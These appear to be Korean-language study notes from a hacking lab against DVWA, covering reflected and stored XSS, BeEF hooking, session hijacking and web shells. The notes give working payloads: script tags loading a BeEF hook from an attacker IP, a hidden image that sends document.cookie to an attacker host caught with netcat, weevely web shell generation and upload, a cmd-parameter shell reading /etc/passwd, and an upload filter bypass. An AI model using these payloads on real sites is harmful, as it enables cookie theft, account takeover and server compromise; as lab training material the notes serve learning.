XSS 공격 종류
- Persistent XSS(stored XSS)
- Non-persistent XSS(reflected XSS)
- DOM-Based XSS
[reflected XSS]
url을 통해 스크립트를 실행시킨다.
[보안레벨 low]
이소스를 meta에 넣어보면,
<script language="JavaScript">alert ("Welcome");</script>
아래 문장을 실행하게 되면 쿠키값을 볼 수 있게된다.
http://meta/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie);</script>#
www.w3.org사이트로 이동되게하는 스크립트
http://meta/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.location.href="https://www.w3.org");</script>#
[보안레벨 medium]
http://meta/dvwa/vulnerabilities/xss_r/?name=<script>alert("Welcome to the world")+;</script>#
http://meta/dvwa/vulnerabilities/xss_r/?name=<script+language="JavaScript">alert("Welcome to the world")+;</script>#
위에서 했던 쿠키값을 medium난이도에서 보려면 아래와 같이 입력.
http://meta/dvwa/vulnerabilities/xss_r/?name=<script+language="JavaScript">alert(document.cookie);</script>#
[보안레벨 high]
위에는 직접 url에 입력함으로써 취약점을 찾아보았다. 이번엔 프로그램을 사용해서 XSS를 해보겠다.
[BeFF]
Web UI: http://127.0.0.1:3000/ui/panel
Hook: <script src="http://:3000/hook.js"></script>
Example: <script src="http://[공격자ip]:3000/hook.js"></script> //공격 코드
1.prepare the Script
<script src="http://192.168.232.100:3000/hook.js"></script> //열린3000포트로 공격
2 BeFF
로그인 기본값 id beef pw beef
3.
192.168.232.131 //메타스플로잇 ip
192.168.232.140 //칼리 ip
url에 실행.
http://meta/dvwa/vulnerabilities/xss_r/?name=<script src="http://192.168.232.140:3000/hook.js"></script>#
pretty theft //상대방을 속여서 ip와 pw을 얻는 방법.
[stored XSS]
1. 메시지창의 크기를 늘린다.
2. 저장 게시판에 스크립트 저장.
게시판에
Name : Admin
Message :
<script src="http://192.168.232.140:3000/hook.js"></script>
3. windows 10 에서 접속.
http://192.168.232.131/dvwa 로 접속
Xss stored를 들어오게 되는 순간, 공격자에게 정보가 들어가게 된다.
4. 피싱사이트
[세션 하이재킹]
1. beef로 얻어온 192.168.232.150 의 정보에서 세션을 복사한다.
4ae7fd30d9efc30d1f105940b7ad4d60
2. burp-startburp에서 인터셉스를 키고 meta에 접속 //칼리에서
3. 접속해서 나온 세션 값을 1번의 세션 값과 , 보안 설정을 low로 해야 테스트가 잘되므로, 바꿔준다.
4. 변경한 후, forward를 클릭하면 192.168.232.150의 세션으로 들어가져, 로그인을 하지 않아도 로그인 상태가 된다.
[세션 하이재킹의 다른 방법]
공격대상자가 공격자에게 접속했을 때 쿠키값을 바로 띄우는 코드
1. netcat으로 포트 개방
nc -vvlp 80
2. 게시글 작성.
Could you help me out? I've got some problems to explore this web site. //아무 평문입력.
<img name='i' width='0' height='0' </img> //가로 세로 길이를 0으로해 스크립트를 가림.
<script>i.src='http://192.168.232.140/help.php?'+document.cookie</script>//공격자 ip
3. 공격대상자에서 게시글을 확인.
4. nc에 쿠키값이 들어온 것을 확인.
5. 첫번째에 했던 방법대로 burp-startburp 에서 인터셉트를 키고 세션값을 바꿔 forward한다.
6. 세션을 탈취해 아래와 같이 로그인을 하지 않고 로그인이 된 것을 볼 수 있다.
[weevely]
web shell 만드는 툴
weevely generate 1234 ./shell.php //shell.php로 생성 1234는 비번
1. 만든 쉘을 업로드를 한다.
2. 쉘이 세션을 탈취.
weevely http://meta/dvwa/hackable/uploads/shell.php 1234
[url을 통해 shell적용]
1. weevely generate 1234 ./shell-1.php //생성
vi shell-1.php
맨밑에
system($system($_GET['cmd']); 추가
2. shell-1.php 업로드
3. url을 통해 직접 입력.
http://meta/dvwa/hackable/uploads/shell-1.php?cmd=cat%20/../../../../etc/passwd
[php 업로드 안되는 것을, 업로드하는법]
1. php가 업로드가 안되는 화면.
2. php를 jpg로 변환해서 업로드.
3.burp-start burp를 통해 jpg를 php로 변환해서 업로드.